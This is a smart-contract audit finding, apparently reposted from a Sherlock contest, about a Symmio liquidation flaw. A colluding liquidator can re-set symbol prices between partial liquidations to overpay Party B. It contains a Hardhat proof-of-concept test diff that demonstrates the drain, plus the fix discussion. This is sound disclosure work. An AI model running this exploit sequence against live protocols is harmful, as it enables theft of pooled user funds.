Consecutive symbol price updates can be exploited to drain protocol funds
The liquidation contract allows a liquidator to update symbol prices multiple times during a multi-step liquidation as long as the overall unrealized profit and loss and total unrealized loss remain unchanged. A malicious liquidator colluding with a counterparty can exploit this to inflate the counterparty's payout, draining protocol funds.
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/291
Found by
berndartmueller
Summary
Repeatedly updating the symbol prices for the symbols used in Party A's positions mid-way through a liquidation while maintaining the same Party A's UPnL and total unrealized losses leads to more profits for Party B and effectively steals funds from the protocol.
Vulnerability Detail
The setSymbolsPrice function in the LiquidationFacetImpl library is used to set the prices of symbols for Party A's positions. It is called by the liquidator, who supplies the PriceSig memory priceSig argument, which contains, among other values, the prices of the symbols as well as the upnl and totalUnrealizedLoss of Party A's positions.
Party A's upnl and totalUnrealizedLoss values are stored in Party A's liquidation details and enforced to remain the same for consecutive calls to setSymbolsPrice via the require statement in lines 90-95.
However, as long as those two values remain the same, the liquidator can set the prices of the symbols to the current market prices (fetched by the Muon app). If a liquidator liquidates Party A's open positions in multiple calls to liquidatePositionsPartyA and updates symbol prices in between, Party B potentially receives more profits than they should have.
The git diff below contains a test case to demonstrate the following scenario:
Given the following symbols:
BTCUSDTAAVEUSDT
For simplicity, we assume trading fees are 0.
Party A's allocated balance: 100e18 USDT
Party A has two open positions with Party B:
| ID | Symbol | Order Type | Position Type | Quantity | Price | Total Value | CVA | LF | MM | Total Locked | Leverage |
|---|---|---|---|---|---|---|---|---|---|---|---|
| 1 | BTCUSDT | LIMIT | LONG | 100e18 | 1e18 | 100e18 | 25e18 | 25e18 | 0 | 50e18 | 2 |
| 2 | AAVEUSDT | LIMIT | LONG | 100e18 | 1e18 | 100e18 | 25e18 | 25e18 | 0 | 50e18 | 2 |
Party A's available balance: 100e18 - 100e18 = 0 USDT
Now, the price of BTCUSDT drops by 40% to 0.6e18 USDT. Party A's upnl and totalUnrealizedLoss are now -40e18 USDT and -40e18 USDT, respectively.
Party A is insolvent and gets liquidated.
The liquidator calls setSymbolsPrice for both symbols, setting the price of BTCUSDT to 0.6e18 USDT and the price of AAVEUSDT to 1e18 USDT. The liquidationDetails of Party A are as follows:
liquidationType:LiquidationType.NORMALupnl:-40e18 USDTtotalUnrealizedLoss:-40e18 USDTdeficit: 0liquidationFee:50e18 - 40e18 = 10e18 USDT
The liquidator first liquidates position 1 -> Party B receives 40e18 USDT + 25e18 USDT (CVA) = 65e18 USDT
Now, due to a volatile market, the price of AAVEUSDT drops by 40% to 0.6e18 USDT. The liquidator calls setSymbolsPrice again, setting the price of AAVEUSDT to 0.6e18 USDT. upnl and totalUnrealizedLoss remain the same. Thus the symbol prices can be updated.
The liquidator liquidates position 2 -> Party B receives 40e18 USDT + 25e18 USDT (CVA) = 65e18 USDT
Party B received in total 65e18 + 65e18 = 130e18 USDT, which is 30e18 USDT more than Party A's initially locked balances. Those funds are effectively stolen from the protocol and bad debt.
Conversely, if both positions had been liquidated in the first call without updating the symbol prices in between, Party B would have received 40e18 + 25e18 = 65e18 USDT, which Party A's locked balances covered.
diff --git a/symmio-core/test/Initialize.fixture.ts b/symmio-core/test/Initialize.fixture.ts
index 2df1e6f..cfe81c0 100644
--- a/symmio-core/test/Initialize.fixture.ts
+++ b/symmio-core/test/Initialize.fixture.ts
@@ -45,7 +45,11 @@ export async function initializeFixture(): Promise<RunContext> {
await context.controlFacet
.connect(context.signers.admin)
- .addSymbol("BTCUSDT", decimal(5), decimal(1, 16), decimal(1, 16));
+ .addSymbol("BTCUSDT", decimal(5), decimal(1, 16), decimal(0));
+
+ await context.controlFacet
+ .connect(context.signers.admin)
+ .addSymbol("AAVEUSDT", decimal(5), decimal(1, 16), decimal(0));
await context.controlFacet.connect(context.signers.admin).setPendingQuotesValidLength(10);
await context.controlFacet.connect(context.signers.admin).setLiquidatorShare(decimal(1, 17));
diff --git a/symmio-core/test/LiquidationFacet.behavior.ts b/symmio-core/test/LiquidationFacet.behavior.ts
index 2e06b92..08e40d2 100644
--- a/symmio-core/test/LiquidationFacet.behavior.ts
+++ b/symmio-core/test/LiquidationFacet.behavior.ts
@@ -7,8 +7,10 @@ import { Hedger } from "./models/Hedger";
import { RunContext } from "./models/RunContext";
import { BalanceInfo, User } from "./models/User";
import { decimal, getTotalLockedValuesForQuoteIds, getTradingFeeForQuotes, liquidatePartyA } from "./utils/Common";
-import { getDummySingleUpnlSig } from "./utils/SignatureUtils";
+import { getDummyPriceSig, getDummySingleUpnlSig } from "./utils/SignatureUtils";
import hre from "hardhat";
+import { limitQuoteRequestBuilder } from "./models/requestModels/QuoteRequest";
+import { limitOpenRequestBuilder } from "./models/requestModels/OpenRequest";
export function shouldBehaveLikeLiquidationFacet(): void {
beforeEach(async function() {
@@ -16,7 +18,7 @@ export function shouldBehaveLikeLiquidationFacet(): void {
this.user = new User(this.context, this.context.signers.user);
await this.user.setup();
- await this.user.setBalances(decimal(2000), decimal(1000), decimal(500));
+ await this.user.setBalances(decimal(2000), decimal(100), decimal(100));
this.user2 = new User(this.context, this.context.signers.user2);
await this.user2.setup();
@@ -39,20 +41,26 @@ export function shouldBehaveLikeLiquidationFacet(): void {
await this.hedger.openPosition(1);
// Quote2 -> locked
- await this.user.sendQuote();
+ await this.user.sendQuote(
+ limitQuoteRequestBuilder()
+ .symbolId(2)
+ .build()
+ );
await this.hedger.lockQuote(2);
+ await this.hedger.openPosition(2,
+ limitOpenRequestBuilder().price(decimal(1)).build());
// Quote3 -> sent
- await this.user.sendQuote();
+ // await this.user.sendQuote();
// Quote4 -> user2 -> opened
- await this.user2.sendQuote();
- await this.hedger.lockQuote(4);
- await this.hedger.openPosition(4);
+ // await this.user2.sendQuote();
+ // await this.hedger.lockQuote(4);
+ // await this.hedger.openPosition(4);
// Quote5 -> locked
- await this.user.sendQuote();
- await this.hedger.lockQuote(5);
+ // await this.user.sendQuote();
+ // await this.hedger.lockQuote(5);
});
describe("Liquidate PartyA", async function() {
@@ -116,16 +124,12 @@ export function shouldBehaveLikeLiquidationFacet(): void {
describe("Liquidate Positions", async function() {
beforeEach(async function() {
const context: RunContext = this.context;
- await liquidatePartyA(
- context,
- context.signers.user.getAddress(),
- );
- await liquidatePartyA(
- context,
- context.signers.user2.getAddress(),
- context.signers.liquidator,
- decimal(-475),
- );
+ // await liquidatePartyA(
+ // context,
+ // context.signers.user2.getAddress(),
+ // context.signers.liquidator,
+ // decimal(-475),
+ // );
});
it("Should fail on invalid state", async function() {
@@ -179,6 +183,72 @@ export function shouldBehaveLikeLiquidationFacet(): void {
let balanceInfoOfLiquidator = await this.liquidator.getBalanceInfo();
expect(balanceInfoOfLiquidator.allocatedBalances).to.be.equal(decimal(1));
});
+
+ it.only("Should maliciously liquidate positions", async function() {
+ const context: RunContext = this.context;
+ let user = context.signers.user.getAddress();
+ let hedger = context.signers.hedger.getAddress();
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+ decimal(100),
+ );
+
+ await liquidatePartyA(
+ context,
+ context.signers.user.getAddress(),
+ );
+
+ await context.liquidationFacet
+ .connect(context.signers.liquidator)
+ .liquidatePendingPositionsPartyA(user);
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger, user)).to.be.equal(
+ decimal(240),
+ );
+
+ await context.liquidationFacet
+ .connect(context.signers.liquidator)
+ .liquidatePositionsPartyA(user, [1]);
+
+ expect((await context.viewFacet.isPartyALiquidated(user))).to.be.true;
+
+ expect((await context.viewFacet.getQuote(1)).quoteStatus).to.be.equal(
+ QuoteStatus.LIQUIDATED,
+ );
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger, user)).to.be.equal(
+ decimal(240 + 65), // @audit-info 65 profit: 40 profit from position + 25 CVA
+ );
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+ decimal(100), // @audit-info remains unchanged until the liquidation process is complete
+ );
+
+ await context.liquidationFacet
+ .connect(context.signers.liquidator)
+ .setSymbolsPrice(
+ user,
+ await getDummyPriceSig([2], [decimal(6, 17)], decimal(-40), decimal(-40)), // @audit-info price of symbol #2 dropped by 40% (6e17) -> same UPnL and total loss
+ );
+
+ await context.liquidationFacet
+ .connect(context.signers.liquidator)
+ .liquidatePositionsPartyA(user, [2]);
+
+ expect((await context.viewFacet.getQuote(2)).quoteStatus).to.be.equal(
+ QuoteStatus.LIQUIDATED,
+ );
+
+ expect((await context.viewFacet.isPartyALiquidated(user))).to.be.false;
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger, user)).to.be.equal(
+ decimal(240 + 65 + 65), // @audit-info 130 profit in total: 80 profit from positions + 50 CVA
+ );
+
+ expect(await context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+ decimal(0),
+ );
+ });
});
});
diff --git a/symmio-core/test/models/requestModels/QuoteRequest.ts b/symmio-core/test/models/requestModels/QuoteRequest.ts
index 833e181..82d45b9 100644
--- a/symmio-core/test/models/requestModels/QuoteRequest.ts
+++ b/symmio-core/test/models/requestModels/QuoteRequest.ts
@@ -29,9 +29,9 @@ const limitDefaultQuoteRequest: QuoteRequest = {
orderType: OrderType.LIMIT,
price: decimal(1),
quantity: decimal(100),
- cva: decimal(22),
- mm: decimal(75),
- lf: decimal(3),
+ cva: decimal(25),
+ mm: decimal(0),
+ lf: decimal(25),
maxInterestRate: 0,
deadline: getBlockTimestamp(500),
upnlSig: getDummySingleUpnlAndPriceSig(decimal(1)),
diff --git a/symmio-core/test/utils/Common.ts b/symmio-core/test/utils/Common.ts
index ed0c3c9..69f7ed5 100644
--- a/symmio-core/test/utils/Common.ts
+++ b/symmio-core/test/utils/Common.ts
@@ -119,10 +119,10 @@ export async function liquidatePartyA(
context: RunContext,
liquidatedUser: Promise<string>,
liquidator: SignerWithAddress = context.signers.liquidator,
- upnl: BigNumberish = decimal(-473),
- totalUnrealizedLoss: BigNumberish = 0,
- symbolIds: BigNumberish[] = [1],
- prices: BigNumberish[] = [decimal(1)],
+ upnl: BigNumberish = decimal(-40),
+ totalUnrealizedLoss: BigNumberish = decimal(-40),
+ symbolIds: BigNumberish[] = [1, 2],
+ prices: BigNumberish[] = [decimal(6, 17), decimal(1)],
) {
await context.liquidationFacet
.connect(liquidator)
How to run this test case:
Save git diff to a file named exploit-liquidation.patch and run with
git apply exploit-liquidation.patch
npx hardhat test
Impact
A malicious liquidator can cooperate with Party B and by exploiting this issue during a volatile market, can cause Party B to receive more funds (profits, due to being the counterparty to Party A which faces losses) than it should and steal funds from the protocol.
Code Snippet
contracts/facets/liquidation/LiquidationFacetImpl.sol#L90-L95
34: function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {
35: MAStorage.Layout storage maLayout = MAStorage.layout();
36: AccountStorage.Layout storage accountLayout = AccountStorage.layout();
37:
38: LibMuon.verifyPrices(priceSig, partyA);
39: require(maLayout.liquidationStatus[partyA], "LiquidationFacet: PartyA is solvent");
40: require(
41: priceSig.timestamp <=
42: maLayout.liquidationTimestamp[partyA] + maLayout.liquidationTimeout,
43: "LiquidationFacet: Expired signature"
44: );
45: for (uint256 index = 0; index < priceSig.symbolIds.length; index++) {
46: accountLayout.symbolsPrices[partyA][priceSig.symbolIds[index]] = Price(
47: priceSig.prices[index],
48: maLayout.liquidationTimestamp[partyA]
49: );
50: }
51:
52: int256 availableBalance = LibAccount.partyAAvailableBalanceForLiquidation(
53: priceSig.upnl,
54: partyA
55: );
56: if (accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NONE) {
57: accountLayout.liquidationDetails[partyA] = LiquidationDetail({
58: liquidationType: LiquidationType.NONE,
59: upnl: priceSig.upnl,
60: totalUnrealizedLoss: priceSig.totalUnrealizedLoss,
61: deficit: 0,
62: liquidationFee: 0
63: });
... // [...]
89: } else {
90: @> require(
91: @> accountLayout.liquidationDetails[partyA].upnl == priceSig.upnl &&
92: @> accountLayout.liquidationDetails[partyA].totalUnrealizedLoss ==
93: @> priceSig.totalUnrealizedLoss,
94: @> "LiquidationFacet: Invalid upnl sig"
95: @> );
96: }
97: }
Tool used
Manual Review
Recommendation
Consider preventing the liquidator from updating symbol prices mid-way of a liquidation process.
Or, alternatively, store the number of Party A's open positions in the liquidationDetails and only allow updating the symbol prices if the current number of open positions is still the same, effectively preventing the liquidator from updating the symbol prices once a position has been liquidated.
Discussion
MoonKnightDev
The potential exploit you've mentioned hinges on the unlikely scenario that during the liquidation process, a party can provide a signature that exactly replicates the previous unrealized PnL and total unrealized loss. This is theoretically possible but practically near-impossible. Hence, we categorize this issue as medium risk.
ctf-sec
Comment from senior watson:
The risk should be medium as it requires a number of conditions must be aligned for the issue to occur:
-
The market must be volatile
-
For this attack to succeed, the upnl and totalUnrealizedLoss of the second price update must be the same as the first one. Even if the price moves, it is difficult to obtain the same upnl and totalUnrealizedLoss for a second time from the oracle as it has to be accurate to the smaller decimal (1 wei).
-
PartyA and PartyB must conspire. PartyB has to be whitelisted by the protocol team.
ctf-sec
Adjusted the risk to medium based on the comments above
MoonKnightDev
Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the liquidation logic allows symbol prices to be updated between partial liquidations without restricting the number of open positions, enabling a liquidator to repeatedly realise losses on different positions while keeping the aggregate unrealised PnL and total unrealised loss constant.
Impact
A malicious liquidator cooperating with Party B could cause Party B to receive more funds than it should, stealing from the protocol; however, the attack requires a volatile market, exact matching of upnl and totalUnrealizedLoss, and Party B being whitelisted, making it practically near-impossible.
What the attacker needed
Volatile market; upnl and totalUnrealizedLoss match exactly; Party B is whitelisted; liquidator colludes with Party B
The fix
The protocol was fixed by preventing the liquidator from updating symbol prices mid-way through a liquidation process.
How it was found
- Party A has two open positions with Party B and becomes insolvent after a price drop.
- The liquidator calls setSymbolsPrice for both symbols, setting the price of the first symbol to the dropped value and the second to its original value.
- The liquidator liquidates the first position, and Party B receives a payout based on the first symbol's price.
- The price of the second symbol then drops, and the liquidator calls setSymbolsPrice again, updating only the second symbol's price while keeping the same upnl and totalUnrealizedLoss.
- The liquidator liquidates the second position, and Party B receives another payout based on the second symbol's new price.
- Party B receives more total funds than Party A's locked balance, with the excess taken from the protocol.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a trading protocol, when a trader's account becomes insolvent, a liquidator closes their positions and pays the counterparty from the trader's locked funds. The liquidator can update the prices used for each position multiple times during this process. If they do so while the overall profit/loss numbers stay the same, they can make each position appear to have a larger loss, causing the counterparty to receive more money than the trader actually had, with the extra coming from the protocol.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.